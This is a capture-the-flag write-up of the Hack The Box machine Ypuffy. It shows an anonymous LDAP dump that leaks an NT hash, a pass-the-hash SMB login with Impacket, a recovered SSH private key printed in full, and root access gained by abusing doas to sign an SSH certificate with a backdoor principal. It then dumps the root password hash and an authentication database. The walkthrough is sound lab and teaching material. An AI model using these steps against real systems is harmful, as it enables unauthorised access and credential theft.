Writeup: Hack The Box - Machines - Ypuffy

Description

  • Name: Ypuffy
  • IP: 10.10.10.107
  • Author: AuxSarge
  • Difficulty: 4.7/10

Discovery

nmap -sC -sV -Pn -p- -T5 --min-rate 1000 --max-retries 5 10.10.10.107

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
PORT    STATE SERVICE     VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
| 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp open http OpenBSD httpd
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY

Host script results:
|_clock-skew: mean: 1h20m14s, deviation: 2h18m33s, median: 14s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6)
| Computer name: ypuffy
| NetBIOS computer name: YPUFFY\x00
| Domain name: hackthebox.htb
| FQDN: ypuffy.hackthebox.htb
|_ System time: 2018-09-18T04:58:09-04:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2018-09-18 10:58:10
|_ start_date: N/A

nmap -p 389 --script ldap-search 10.10.10.107

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
PORT    STATE SERVICE
389/tcp open ldap
| ldap-search:
| Context: dc=hackthebox,dc=htb
| dn: dc=hackthebox,dc=htb
| dc: hackthebox
| objectClass: top
| objectClass: domain
| dn: ou=passwd,dc=hackthebox,dc=htb
| ou: passwd
| objectClass: top
| objectClass: organizationalUnit
| dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb
| uid: bob8791
| cn: Bob
| objectClass: account
| objectClass: posixAccount
| objectClass: top
| userPassword: {BSDAUTH}bob8791
| uidNumber: 5001
| gidNumber: 5001
| gecos: Bob
| homeDirectory: /home/bob8791
| loginShell: /bin/ksh
| dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
| uid: alice1978
| cn: Alice
| objectClass: account
| objectClass: posixAccount
| objectClass: top
| objectClass: sambaSamAccount
| userPassword: {BSDAUTH}alice1978
| uidNumber: 5000
| gidNumber: 5000
| gecos: Alice
| homeDirectory: /home/alice1978
| loginShell: /bin/ksh
| sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
| displayName: Alice
| sambaAcctFlags: [U ]
| sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
| sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
| sambaPwdLastSet: 1532916644
| dn: ou=group,dc=hackthebox,dc=htb
| ou: group
| objectClass: top
| objectClass: organizationalUnit
| dn: cn=bob8791,ou=group,dc=hackthebox,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: bob8791
| userPassword: {crypt}*
| gidNumber: 5001
| dn: cn=alice1978,ou=group,dc=hackthebox,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: alice1978
| userPassword: {crypt}*
| gidNumber: 5000
| dn: sambadomainname=ypuffy,dc=hackthebox,dc=htb
| sambaDomainName: YPUFFY
| sambaSID: S-1-5-21-3933741069-3307154301-3557023464
| sambaAlgorithmicRidBase: 1000
| objectclass: sambaDomain
| sambaNextUserRid: 1000
| sambaMinPwdLength: 5
| sambaPwdHistoryLength: 0
| sambaLogonToChgPwd: 0
| sambaMaxPwdAge: -1
| sambaMinPwdAge: 0
| sambaLockoutDuration: 30
| sambaLockoutObservationWindow: 30
| sambaLockoutThreshold: 0
| sambaForceLogoff: -1
| sambaRefuseMachinePwdChange: 0
|_ sambaNextRid: 1001

Pwn

From the first nmap scan we saw a LDAP service on port 389 so using ldap-search NSE script we can enumerate users, password (NT hash) and Samba protocol settings.

Since we have alice1978 hash we can use impacket to search for shares on SMB service.

Password hashes are equivalent to clear text passwords. If the attacker manages to obtain the hash, he can simply use it to gain access to a system without the need to know the password used to create it. This type of attack is known as pass-the-hash attack.

smbclient from Impacket suite can use the NTLM hash to authenticate an user and access shares over SMB protocol (in our case Samba).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

usage: smbclient.py [-h] [-file FILE] [-debug] [-hashes LMHASH:NTHASH]
[-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
[-target-ip ip address] [-port [destination port]]
target

SMB client implementation.

positional arguments:
target [[domain/]username[:password]@]<targetName or address>

optional arguments:
-h, --help show this help message and exit
-file FILE input file with commands to execute in the mini shell
-debug Turn DEBUG output ON

authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from
ccache file (KRB5CCNAME) based on target parameters.
If valid credentials cannot be found, it will use the
ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256
bits)

connection:
-dc-ip ip address IP Address of the domain controller. If omitted it
will use the domain part (FQDN) specified in the
target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will
use whatever was specified as target. This is useful
when target is the NetBIOS name and you cannot resolve
it
-port [destination port]
Destination port to connect to SMB Server

From the LDAP scan we obtained only the NT hash part but we can still use the tool:

smbclient.py alice1978@10.10.10.107 -hashes 000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B

From alice share we got a PuTTY-format private key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PuTTY-User-Key-File-2: ssh-rsa
Encryption: none
Comment: rsa-key-20180716
Public-Lines: 6
AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz
1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02qux
BoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAj
h7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/Sxa
iA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWx
ivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw==
Private-Lines: 14
AAABAH0knH2xprkuycHoh18sGrlvVGVG6C2vZ9PsiBdP/5wmhpYI3Svnn3ZL8CwF
VGaXdidhZunC9xmD1/QAgCgTz/Fh5yl+nGdeBWc10hLD2SeqFJoHU6SLYpOSViSE
cOZ5mYSy4IIRgPdJKwL6NPnrO+qORSSs9uKVqEdmKLm5lat9dRJVtFlG2tZ7tsma
hRM//9du5MKWWemJlW9PmRGY6shATM3Ow8LojNgnpoHNigB6b/kdDozx6RIf8b1q
Gs+gaU1W5FVehiV6dO2OjHUoUtBME01owBLvwjdV/1Sea/kcZa72TYIMoN1MUEFC
3hlBVcWbiy+O27JzmDzhYen0Jq0AAACBANTBwU1DttMKKphHAN23+tvIAh3rlNG6
m+xeStOxEusrbNL89aEU03FWXIocoQlPiQBr3s8OkgMk1QVYABlH30Y2ZsPL/hp6
l4UVEuHUqnTfEOowVTcVNlwpNM8YLhgn+JIeGpJZqus5JK/pBhK0JclenIpH5M2v
4L9aKFwiMZxfAAAAgQDG+o9xrh+rZuQg8BZ6ZcGGdszZITn797a4YU+NzxjP4jR+
qSVCTRky9uSP0i9H7B9KVnuu9AfzKDBgSH/zxFnJqBTTykM1imjt+y1wVa/3aLPh
hKxePlIrP3YaMKd38ss2ebeqWy+XJYwgWOsSw8wAQT7fIxmT8OYfJRjRGTS74QAA
AIEAiOHSABguzA8sMxaHMvWu16F0RKXLOy+S3ZbMrQZr+nDyzHYPaLDRtNE2iI5c
QLr38t6CRO6zEZ+08Zh5rbqLJ1n8i/q0Pv+nYoYlocxw3qodwUlUYcr1/sE+Wuvl
xTwgKNIb9U6L6OdSr5FGkFBCFldtZ/WSHtbHxBabb0zpdts=
Private-MAC: 208b4e256cd56d59f70e3594f4e2c3ca91a757c9

To use this key we need to convert it to an accettable format for OpenSSH using the PuTTYgen tool:

puttygen my_private_key.ppk -O private-openssh -o priv.key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz1am2V3wNRkKR
+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02quxBoLMq0VSFK5A
0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAjh7U8op4/lIsk
Hqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/SxaiA2jBW6n3dMs
qpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWxivAMf2AqY5e1
adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/UfwIBJQKCAQB9JJx9saa5LsnB6Idf
LBq5b1RlRugtr2fT7IgXT/+cJoaWCN0r5592S/AsBVRml3YnYWbpwvcZg9f0AIAo
E8/xYecpfpxnXgVnNdISw9knqhSaB1Oki2KTklYkhHDmeZmEsuCCEYD3SSsC+jT5
6zvqjkUkrPbilahHZii5uZWrfXUSVbRZRtrWe7bJmoUTP//XbuTCllnpiZVvT5kR
mOrIQEzNzsPC6IzYJ6aBzYoAem/5HQ6M8ekSH/G9ahrPoGlNVuRVXoYlenTtjox1
KFLQTBNNaMAS78I3Vf9Unmv5HGWu9k2CDKDdTFBBQt4ZQVXFm4svjtuyc5g84WHp
9CatAoGBANTBwU1DttMKKphHAN23+tvIAh3rlNG6m+xeStOxEusrbNL89aEU03FW
XIocoQlPiQBr3s8OkgMk1QVYABlH30Y2ZsPL/hp6l4UVEuHUqnTfEOowVTcVNlwp
NM8YLhgn+JIeGpJZqus5JK/pBhK0JclenIpH5M2v4L9aKFwiMZxfAoGBAMb6j3Gu
H6tm5CDwFnplwYZ2zNkhOfv3trhhT43PGM/iNH6pJUJNGTL25I/SL0fsH0pWe670
B/MoMGBIf/PEWcmoFNPKQzWKaO37LXBVr/dos+GErF4+Uis/dhowp3fyyzZ5t6pb
L5cljCBY6xLDzABBPt8jGZPw5h8lGNEZNLvhAoGAUICqAY8+QgPYw/8wwpikG88j
ZURh0tD8uk0xEdRMWPusotxBQ95d19t89fz+qZO3TER90c4paPkuAgWfLCkIX8GO
qvM9jXp+hWHreAtHan3quXoSZ96DRXdgFwI69GIms9QKDdy9NmimGQwQIsC0Wggf
jkS3cGwP2bNpN548SQECgYEAvDkf6BNqENbzeRp2IMEe2SRFPBiC9URFD0dLQPRV
vbpNVTg4AHJxyG0BuHq3GoVptQWzRKGmp747mVlWcPgB6EUMyFeLry/mt5qSxDVh
Q/tCX7TaZvyul5zlVwtt+9fU/C3y7UGAC4Rh9RXXcp2Jn2BQOtwDcES+AcklUCyZ
qs0CgYEAiOHSABguzA8sMxaHMvWu16F0RKXLOy+S3ZbMrQZr+nDyzHYPaLDRtNE2
iI5cQLr38t6CRO6zEZ+08Zh5rbqLJ1n8i/q0Pv+nYoYlocxw3qodwUlUYcr1/sE+
WuvlxTwgKNIb9U6L6OdSr5FGkFBCFldtZ/WSHtbHxBabb0zpdts=
-----END RSA PRIVATE KEY-----

With this private key we can finally authenticate as alice1978 on Ypuffy and get the user flag.

We also got /etc/passwd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
root:*:0:0:Charlie &:/root:/bin/ksh
daemon:*:1:1:The devil himself:/root:/sbin/nologin
operator:*:2:5:System &:/operator:/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin
build:*:21:21:base and xenocara build:/var/empty:/bin/ksh
sshd:*:27:27:sshd privsep:/var/empty:/sbin/nologin
_portmap:*:28:28:portmap:/var/empty:/sbin/nologin
_identd:*:29:29:identd:/var/empty:/sbin/nologin
_rstatd:*:30:30:rpc.rstatd:/var/empty:/sbin/nologin
_rusersd:*:32:32:rpc.rusersd:/var/empty:/sbin/nologin
_fingerd:*:33:33:fingerd:/var/empty:/sbin/nologin
_x11:*:35:35:X Server:/var/empty:/sbin/nologin
_switchd:*:49:49:Switch Daemon:/var/empty:/sbin/nologin
_traceroute:*:50:50:traceroute privdrop user:/var/empty:/sbin/nologin
_ping:*:51:51:ping privdrop user:/var/empty:/sbin/nologin
_rebound:*:52:52:Rebound DNS Daemon:/var/empty:/sbin/nologin
_unbound:*:53:53:Unbound Daemon:/var/unbound:/sbin/nologin
_dpb:*:54:54:dpb privsep:/var/empty:/sbin/nologin
_pbuild:*:55:55:dpb build user:/nonexistent:/sbin/nologin
_pfetch:*:56:56:dpb fetch user:/nonexistent:/sbin/nologin
_pkgfetch:*:57:57:pkg fetch user:/nonexistent:/sbin/nologin
_pkguntar:*:58:58:pkg untar user:/nonexistent:/sbin/nologin
_spamd:*:62:62:Spam Daemon:/var/empty:/sbin/nologin
www:*:67:67:HTTP Server:/var/www:/sbin/nologin
_isakmpd:*:68:68:isakmpd privsep:/var/empty:/sbin/nologin
_syslogd:*:73:73:Syslog Daemon:/var/empty:/sbin/nologin
_pflogd:*:74:74:pflogd privsep:/var/empty:/sbin/nologin
_bgpd:*:75:75:BGP Daemon:/var/empty:/sbin/nologin
_tcpdump:*:76:76:tcpdump privsep:/var/empty:/sbin/nologin
_dhcp:*:77:77:DHCP programs:/var/empty:/sbin/nologin
_mopd:*:78:78:MOP Daemon:/var/empty:/sbin/nologin
_tftpd:*:79:79:TFTP Daemon:/var/empty:/sbin/nologin
_rbootd:*:80:80:rbootd Daemon:/var/empty:/sbin/nologin
_ppp:*:82:82:PPP utilities:/var/empty:/sbin/nologin
_ntp:*:83:83:NTP Daemon:/var/empty:/sbin/nologin
_ftp:*:84:84:FTP Daemon:/var/empty:/sbin/nologin
_ospfd:*:85:85:OSPF Daemon:/var/empty:/sbin/nologin
_hostapd:*:86:86:HostAP Daemon:/var/empty:/sbin/nologin
_dvmrpd:*:87:87:DVMRP Daemon:/var/empty:/sbin/nologin
_ripd:*:88:88:RIP Daemon:/var/empty:/sbin/nologin
_relayd:*:89:89:Relay Daemon:/var/empty:/sbin/nologin
_ospf6d:*:90:90:OSPF6 Daemon:/var/empty:/sbin/nologin
_snmpd:*:91:91:SNMP Daemon:/var/empty:/sbin/nologin
_rtadvd:*:92:92:IPv6 Router Advertisement Daemon:/var/empty:/sbin/nologin
_ypldap:*:93:93:YP to LDAP Daemon:/var/empty:/sbin/nologin
_smtpd:*:95:95:SMTP Daemon:/var/empty:/sbin/nologin
_rwalld:*:96:96:rpc.rwalld:/var/empty:/sbin/nologin
_nsd:*:97:97:NSD Daemon:/var/empty:/sbin/nologin
_ldpd:*:98:98:LDP Daemon:/var/empty:/sbin/nologin
_sndio:*:99:99:sndio privsep:/var/empty:/sbin/nologin
_ldapd:*:100:100:LDAP Daemon:/var/empty:/sbin/nologin
_iked:*:101:101:IKEv2 Daemon:/var/empty:/sbin/nologin
_iscsid:*:102:102:iSCSI Daemon:/var/empty:/sbin/nologin
_smtpq:*:103:103:SMTP Daemon:/var/empty:/sbin/nologin
_file:*:104:104:file privsep:/var/empty:/sbin/nologin
_radiusd:*:105:105:RADIUS Daemon:/var/empty:/sbin/nologin
_eigrpd:*:106:106:EIGRP Daemon:/var/empty:/sbin/nologin
_vmd:*:107:107:VM Daemon:/var/empty:/sbin/nologin
_tftp_proxy:*:108:108:tftp proxy daemon:/nonexistent:/sbin/nologin
_ftp_proxy:*:109:109:ftp proxy daemon:/nonexistent:/sbin/nologin
_sndiop:*:110:110:sndio privileged user:/var/empty:/sbin/nologin
_syspatch:*:112:112:syspatch unprivileged user:/var/empty:/sbin/nologin
_slaacd:*:115:115:SLAAC Daemon:/var/empty:/sbin/nologin
nobody:*:32767:32767:Unprivileged user:/nonexistent:/sbin/nologin
_postgresql:*:503:503:PostgreSQL Manager:/var/postgresql:/bin/sh
_dbus:*:572:572:dbus user:/nonexistent:/sbin/nologin
_avahi:*:629:629:Avahi User:/var/empty:/sbin/nologin
_cups:*:541:541:CUPS printer spooler daemon:/nonexistent:/sbin/nologin
appsrv:*:1000:1000:Application Server:/var/appsrv:/sbin/nologin
+:*:0:0:::
userca:*:1001:1001:User CA:/home/userca:/bin/ksh

and etc/doas.conf:

1
2
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen

doas is the equivalent of sudo on BSD systems: from alice1978 we can run ssh-keygen as userca user.

Also from SSH config we discovered that userca owns the certificate to be used as CA for all other SSH keys:

1
2
3
4
5
6
AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody

TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody

and with a simple request we got the name of a principal for root.

1
2
curl http://127.0.0.1/sshauth?type=principals\&username=root
3m3rgencyB4ckd00r

First of all we need to create a pair of keys:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ypuffy$ ssh-keygen -f dodo
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in dodo.
Your public key has been saved in dodo.pub.
The key fingerprint is:
SHA256:M17rqHdhNL3uT+wc3RIDlXywchsdoyDq5M57iyVGRy4 alice1978@ypuffy.hackthebox.htb
The key's randomart image is:
+---[RSA 2048]----+
| . . .o= |
| . . ..+o+|
| o . .o.+..|
| + o o .+ o |
| ES+.. .+ |
| +.o+o... +.|
| =.o.o = o|
| . *+. .+ o |
| .=ooo...+ |
+----[SHA256]-----+

Now we can issue a certificate for this key using userca certificate with 3m3rgencyB4ckd00 as principal (at least) to get root access:

doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I root -n root,3m3rgencyB4ckd00r,bob8791 dodo.pub
Signed user key dodo-cert.pub: id "root" serial 0 for root,3m3rgencyB4ckd00r,bob8791 valid forever

We need to use 3m3rgencyB4ckd00r because that principals will sign the certificate for root user enabling the access using that pair of keys.

Now logging in as root we got the system flag:

Just out of curiosity I exfiltrated all files related to the user accounts and the SSH validation process:

  • /etc/master.passwd for root user:
1
root:$2b$10$nSAu6ZODEomU.OMEuAchkeXYXr8LPhCzRV7VahiwQuMoHbCVOvhwy:0:0:daemon:0:0:Charlie &:/root:/bin/ksh
  • /home/bob8791/dba/sshauth.sql schema of the postgres database where principals and keys are stored:
1
2
3
4
5
6
7
8
9
10
11
12
13
CREATE TABLE principals (
uid text,
client cidr,
principal text,
PRIMARY KEY (uid,client,principal)
);

CREATE TABLE keys (
uid text,
key text,
PRIMARY KEY (uid,key)
);
grant select on principals,keys to appsrv;

And the app that responds on curl commands is (in /var/appsrv/sshauthd/sshauthd.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, request, abort
import psycopg2
app = Flask(__name__)

def validate_uid(uid):
result = False
uid_len = len(uid)

if 1 < uid_len < 32:
if uid[0].isalpha() and uid[1:].isalnum():
result = True
return result

def fetch_data(query, params):
result_str = ''

conn = psycopg2.connect("dbname=sshauth")
curs = conn.cursor()
curs.execute(query, params)
result_list = curs.fetchall()
curs.close()
conn.close()

while result_list:
result_str += '%s\n' % result_list.pop()[0]
return result_str

@app.route('/sshauth', methods=['GET'])
def sshauth():
return_data = ''
params = []
query_type = request.args.get('type')
uid = request.args.get('username')

if (not uid) or (not query_type):
abort(400)

if query_type == 'principals':
query_str = 'SELECT principal from principals where client >>= %s and uid = %s;'
params.append(request.remote_addr)
elif query_type == 'keys':
query_str = 'SELECT key from keys where uid = %s;'
else:
abort(400)

if validate_uid(uid):
params.append(uid)
return_data = fetch_data(query_str,params)
return return_data

Dump of the sshauth DB (psql sshauth -U appsrv):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sshauth=> SELECT * FROM principals;
uid | client | principal
-----------+--------------+-------------------
bob8791 | 10.0.0.0/8 | bob8791
alice1978 | 10.0.0.0/8 | alice1978
root | 127.0.0.1/32 | 3m3rgencyB4ckd00r
bob8791 | 127.0.0.1/32 | bob8791
alice1978 | 127.0.0.1/32 | alice1978
(5 rows)

sshauth=> SELECT * FROM keys;
uid | key
-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
alice1978 | ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02quxBoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAjh7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/SxaiA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWxivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw== rsa-key-20180716
(1 row)

With all the pieces in place we can understand how the login process works: the userca is a Certification Authority so every key signed with /home/userca/ca can be used to login into Ypuffy according to the configured principals.

That’s why we need to specify with -n at least 3m3rgencyB4ckd00r to access as root and why is a backdoor.

More infos: https://www.lorier.net/docs/ssh-ca.html, https://docs.gitlab.com/ee/administration/operations/ssh_certificates.html, https://framkant.org/2017/07/scalable-access-control-using-openssh-certificates/